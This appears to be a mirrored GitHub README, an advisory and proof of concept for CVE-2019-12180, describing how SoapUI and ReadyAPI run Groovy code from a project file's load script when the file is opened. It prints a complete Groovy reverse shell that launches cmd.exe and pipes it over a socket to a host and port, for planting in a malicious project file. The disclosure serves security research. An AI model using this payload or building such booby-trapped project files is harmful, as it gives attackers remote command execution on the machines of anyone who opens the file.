GithubHelp home page GithubHelp logo

cve-2019-12180's Introduction

CVE-2019-12180

Advisory & PoC

SoapUI and ReadyAPI allow you to create or add dynamic contents to test cases (for example, to calculate a timestamp on the fly) using Apache Groovy Language scripts. Execution of these scripts can be triggered in many ways and they are stored inside the XML "Project file" once a project is saved.

The "Load Script" function allows to create a Groovy script that is launched once the project file is opened (con:afterLoadScript element of the XML Project file) without any further user interaction. This behavior can be abused by an attacker to create malicious project files that, once opened, execute arbitrary Groovy code on the victim system. Since it is possible to execute system commands using the Groovy language, this feature can be abused to execute remote commands effectively.

NOTE: the same goal can be achieved by exploiting any other Groovy script capable function ("Save script" for example), but this will require additional user interaction after loading the project file.

Vulnerable Application:

  • ReadyAPI 3.0.0
  • 2.8.2 and earlier
  • SoapUI 5.5 and earlier

At the time of writing (2020-02-04), this is a 0day vulnerability, since (multiple) proposed disclosure dates have passed with no patch release by the vendor.

Example Groovy Reverse shell (https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76):

String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

cve-2019-12180's People

Contributors

0x-nope avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.